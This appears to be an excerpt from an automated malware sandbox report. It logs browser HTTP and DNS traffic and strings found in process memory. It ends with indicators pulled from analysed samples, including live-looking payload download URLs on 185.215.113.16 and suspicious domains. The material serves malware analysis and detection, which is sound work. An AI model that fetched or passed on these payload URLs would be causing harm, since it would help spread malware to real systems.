Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache

Source: firefox.exe, 0000002A.00000002.3262149073.000002048A103000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.3262149073.000002048A190000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "url": "https://www.facebook.com/", equals www.facebook.com (Facebook)
Source: firefox.exe, 0000002A.00000002.3262149073.000002048A103000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.3262149073.000002048A190000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "url": "https://www.youtube.com/", equals www.youtube.com (Youtube)
Source: firefox.exe, 0000002A.00000002.3262149073.000002048A103000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.3262149073.000002048A190000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.facebook.com (Facebook)
Source: firefox.exe, 0000002A.00000002.3262149073.000002048A103000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.3262149073.000002048A190000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.twitter.com (Twitter)
Source: firefox.exe, 0000002A.00000002.3262149073.000002048A103000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.3262149073.000002048A190000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.youtube.com (Youtube)
Source: chrome.exe, 0000002E.00000003.3055554898.00003EDC006E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000002.3267189331.00003EDC0061E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: %https://www.youtube.com/?feature=ytca equals www.youtube.com (Youtube)
Source: firefox.exe, 0000002A.00000003.3162912536.000002048C68E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ://www.facebook.com/platform/impression.php equals www.facebook.com (Facebook)
Source: firefox.exe, 0000002A.00000003.3157936525.00000204929BF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.3301081919.000002048AF4C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8https://www.facebook.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000002A.00000002.3241492483.0000020487E3C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000003.3157936525.00000204929BF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.3301081919.000002048AF4C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8https://www.youtube.com/ equals www.youtube.com (Youtube)
Source: chrome.exe, 0000002E.00000003.3055554898.00003EDC006E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000002.3267189331.00003EDC0061E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: @https://www.youtube.com/s/notifications/manifest/cr_install.html equals www.youtube.com (Youtube)
Source: chrome.exe, 0000002E.00000002.3264365591.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000002.3262516398.00003EDC00320000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: const FACEBOOK_APP_ID=738026486351791;class DoodleShareDialogElement extends PolymerElement{static get is(){return"ntp-doodle-share-dialog"}static get template(){return getTemplate$3()}static get properties(){return{title:String,url:Object}}onFacebookClick_(){const url="https://www.facebook.com/dialog/share"+`?app_id=${FACEBOOK_APP_ID}`+`&href=${encodeURIComponent(this.url.url)}`+`&hashtag=${encodeURIComponent("#GoogleDoodle")}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kFacebook)}onTwitterClick_(){const url="https://twitter.com/intent/tweet"+`?text=${encodeURIComponent(`${this.title}\n${this.url.url}`)}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kTwitter)}onEmailClick_(){const url=`mailto:?subject=${encodeURIComponent(this.title)}`+`&body=${encodeURIComponent(this.url.url)}`;WindowProxy.getInstance().navigate(url);this.notifyShare_(DoodleShareChannel.kEmail)}onCopyClick_(){this.$.url.select();navigator.clipboard.writeText(this.url.url);this.notifyShare_(DoodleShareChannel.kLinkCopy)}onCloseClick_(){this.$.dialog.close()}notifyShare_(channel){this.dispatchEvent(new CustomEvent("share",{detail:channel}))}}customElements.define(DoodleShareDialogElement.is,DoodleShareDialogElement);function getTemplate$2(){return html`<!--_html_template_start_--><style include="cr-hidden-style">:host{--ntp-logo-height:200px;display:flex;flex-direction:column;flex-shrink:0;justify-content:flex-end;min-height:var(--ntp-logo-height)}:host([reduced-logo-space-enabled_]){--ntp-logo-height:168px}:host([doodle-boxed_]){justify-content:flex-end}#logo{forced-color-adjust:none;height:92px;width:272px}:host([single-colored]) #logo{-webkit-mask-image:url(icons/google_logo.svg);-webkit-mask-repeat:no-repeat;-webkit-mask-size:100%;background-color:var(--ntp-logo-color)}:host(:not([single-colored])) #logo{background-image:url(icons/google_logo.svg)}#imageDoodle{cursor:pointer;outline:0}#imageDoodle[tabindex='-1']{cursor:auto}:host([doodle-boxed_]) #imageDoodle{background-color:var(--ntp-logo-box-color);border-radius:20px;padding:16px 24px}:host-context(.focus-outline-visible) #imageDoodle:focus{box-shadow:0 0 0 2px rgba(var(--google-blue-600-rgb),.4)}#imageContainer{display:flex;height:fit-content;position:relative;width:fit-content}#image{max-height:var(--ntp-logo-height);max-width:100%}:host([doodle-boxed_]) #image{max-height:160px}:host([doodle-boxed_][reduced-logo-space-enabled_]) #image{max-height:128px}#animation{height:100%;pointer-events:none;position:absolute;width:100%}#shareButton{background-color:var(--ntp-logo-share-button-background-color,none);border:none;height:var(--ntp-logo-share-button-height,0);left:var(--ntp-logo-share-button-x,0);min-width:var(--ntp-logo-share-button-width,0);opacity:.8;outline:initial;padding:2px;position:absolute;top:var(--ntp-logo-share-button-y,0);width:var(--ntp-logo-share-button-width,0)}#shareButton:hover{opacity:1}#shareButton img{height:100%;width:100%}#iframe{border:none;
Source: chrome.exe, 0000002E.00000002.3264365591.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000002.3262516398.00003EDC00320000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: const FACEBOOK_APP_ID=738026486351791;class DoodleShareDialogElement extends PolymerElement{static get is(){return"ntp-doodle-share-dialog"}static get template(){return getTemplate$3()}static get properties(){return{title:String,url:Object}}onFacebookClick_(){const url="https://www.facebook.com/dialog/share"+`?app_id=${FACEBOOK_APP_ID}`+`&href=${encodeURIComponent(this.url.url)}`+`&hashtag=${encodeURIComponent("#GoogleDoodle")}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kFacebook)}onTwitterClick_(){const url="https://twitter.com/intent/tweet"+`?text=${encodeURIComponent(`${this.title}\n${this.url.url}`)}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kTwitter)}onEmailClick_(){const url=`mailto:?subject=${encodeURIComponent(this.title)}`+`&body=${encodeURIComponent(this.url.url)}`;WindowProxy.getInstance().navigate(url);this.notifyShare_(DoodleShareChannel.kEmail)}onCopyClick_(){this.$.url.select();navigator.clipboard.writeText(this.url.url);this.notifyShare_(DoodleShareChannel.kLinkCopy)}onCloseClick_(){this.$.dialog.close()}notifyShare_(channel){this.dispatchEvent(new CustomEvent("share",{detail:channel}))}}customElements.define(DoodleShareDialogElement.is,DoodleShareDialogElement);function getTemplate$2(){return html`<!--_html_template_start_--><style include="cr-hidden-style">:host{--ntp-logo-height:200px;display:flex;flex-direction:column;flex-shrink:0;justify-content:flex-end;min-height:var(--ntp-logo-height)}:host([reduced-logo-space-enabled_]){--ntp-logo-height:168px}:host([doodle-boxed_]){justify-content:flex-end}#logo{forced-color-adjust:none;height:92px;width:272px}:host([single-colored]) #logo{-webkit-mask-image:url(icons/google_logo.svg);-webkit-mask-repeat:no-repeat;-webkit-mask-size:100%;background-color:var(--ntp-logo-color)}:host(:not([single-colored])) #logo{background-image:url(icons/google_logo.svg)}#imageDoodle{cursor:pointer;outline:0}#imageDoodle[tabindex='-1']{cursor:auto}:host([doodle-boxed_]) #imageDoodle{background-color:var(--ntp-logo-box-color);border-radius:20px;padding:16px 24px}:host-context(.focus-outline-visible) #imageDoodle:focus{box-shadow:0 0 0 2px rgba(var(--google-blue-600-rgb),.4)}#imageContainer{display:flex;height:fit-content;position:relative;width:fit-content}#image{max-height:var(--ntp-logo-height);max-width:100%}:host([doodle-boxed_]) #image{max-height:160px}:host([doodle-boxed_][reduced-logo-space-enabled_]) #image{max-height:128px}#animation{height:100%;pointer-events:none;position:absolute;width:100%}#shareButton{background-color:var(--ntp-logo-share-button-background-color,none);border:none;height:var(--ntp-logo-share-button-height,0);left:var(--ntp-logo-share-button-x,0);min-width:var(--ntp-logo-share-button-width,0);opacity:.8;outline:initial;padding:2px;position:absolute;top:var(--ntp-logo-share-button-y,0);width:var(--ntp-logo-share-button-width,0)}#shareButton:hover{opacity:1}#shareButton img{height:100%;width:100%}#iframe{border:none;
Source: firefox.exe, 0000002A.00000003.3157936525.00000204929BF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.3301081919.000002048AF4C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000003.3075699981.00000204928FA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.facebook.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000002A.00000002.3241492483.0000020487E3C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000003.3157936525.00000204929BF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.3301081919.000002048AF4C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000002A.00000002.3241492483.0000020487E86000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000002A.00000002.3241492483.0000020487E86000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000002A.00000002.3241492483.0000020487E86000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: chrome.exe, 0000002E.00000003.3055554898.00003EDC006E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000002.3267189331.00003EDC0061E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/: equals www.youtube.com (Youtube)
Source: chrome.exe, 0000002E.00000002.3302109929.00003EDC00AF0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/?feature=ytca equals www.youtube.com (Youtube)
Source: chrome.exe, 0000002E.00000003.3055554898.00003EDC006E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000002.3267189331.00003EDC0061E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/J equals www.youtube.com (Youtube)
Source: chrome.exe, 0000002E.00000002.3312657880.00003EDC00C9C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: www.youtube.com equals www.youtube.com (Youtube)
Source: firefox.exe, 0000002A.00000003.3104081433.000002048BDBC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000003.3079366050.000002048BDBC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: x://www.facebook.com/platform/impression.php equals www.facebook.com (Facebook)

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: apis.google.com
Source: global traffic	DNS traffic detected: DNS query: play.google.com
Source: global traffic	DNS traffic detected: DNS query: ntp.msn.com
Source: global traffic	DNS traffic detected: DNS query: bzib.nelreports.net
Source: global traffic	DNS traffic detected: DNS query: assets.msn.com
Source: global traffic	DNS traffic detected: DNS query: sb.scorecardresearch.com
Source: global traffic	DNS traffic detected: DNS query: c.msn.com
Source: global traffic	DNS traffic detected: DNS query: api.msn.com
Source: global traffic	DNS traffic detected: DNS query: clients2.googleusercontent.com
Source: global traffic	DNS traffic detected: DNS query: chrome.cloudflare-dns.com
Source: global traffic	DNS traffic detected: DNS query: home.fvtekk5pn.top
Source: global traffic	DNS traffic detected: DNS query: cook-rain.sbs
Source: global traffic	DNS traffic detected: DNS query: fvtekk5pn.top
Source: global traffic	DNS traffic detected: DNS query: prod.classify-client.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: youtube.com
Source: global traffic	DNS traffic detected: DNS query: detectportal.firefox.com
Source: global traffic	DNS traffic detected: DNS query: prod.detectportal.prod.cloudops.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: example.org
Source: global traffic	DNS traffic detected: DNS query: ipv4only.arpa
Source: global traffic	DNS traffic detected: DNS query: contile.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: spocs.getpocket.com
Source: global traffic	DNS traffic detected: DNS query: prod.balrog.prod.cloudops.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: prod.ads.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: content-signature-2.cdn.mozilla.net
Source: global traffic	DNS traffic detected: DNS query: shavar.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: prod.content-signature-chains.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: js.monitor.azure.com

Source: unknown

HTTP traffic detected: POST /log?format=json&hasfast=true HTTP/1.1Host: play.google.comConnection: keep-aliveContent-Length: 905sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Type: application/x-www-form-urlencoded;charset=UTF-8Accept: */*Origin: chrome-untrusted://new-tab-pageX-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlaHLAQiFoM0BCOnFzQEIucrNAQiK080BGI/OzQEYwtjNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: ae2b9dbc74.exe, 00000018.00000003.2790664466.00000000071D2000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://.css
Source: ae2b9dbc74.exe, 00000018.00000003.2790664466.00000000071D2000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://.jpg
Source: firefox.exe, 0000002A.00000002.3265765041.000002048A678000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.3242928608.0000020488380000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002C.00000002.3185055851.0000027884020000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: http://127.0.0.1:
Source: 067286f766.exe, 0000001A.00000003.3160797227.0000000000C51000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/
Source: file.exe, 00000000.00000002.2414963781.0000000000E0D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exe
Source: file.exe, 00000000.00000002.2414963781.0000000000E0D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exeykQ
Source: 067286f766.exe, 0000001A.00000003.3160797227.0000000000C51000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe
Source: file.exe, 00000000.00000002.2413344379.0000000000335000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2414963781.0000000000D9E000.00000004.00000020.00020000.00000000.sdmp, fd9f6e129b.exe, 0000001B.00000002.2945693748.000000000143E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206
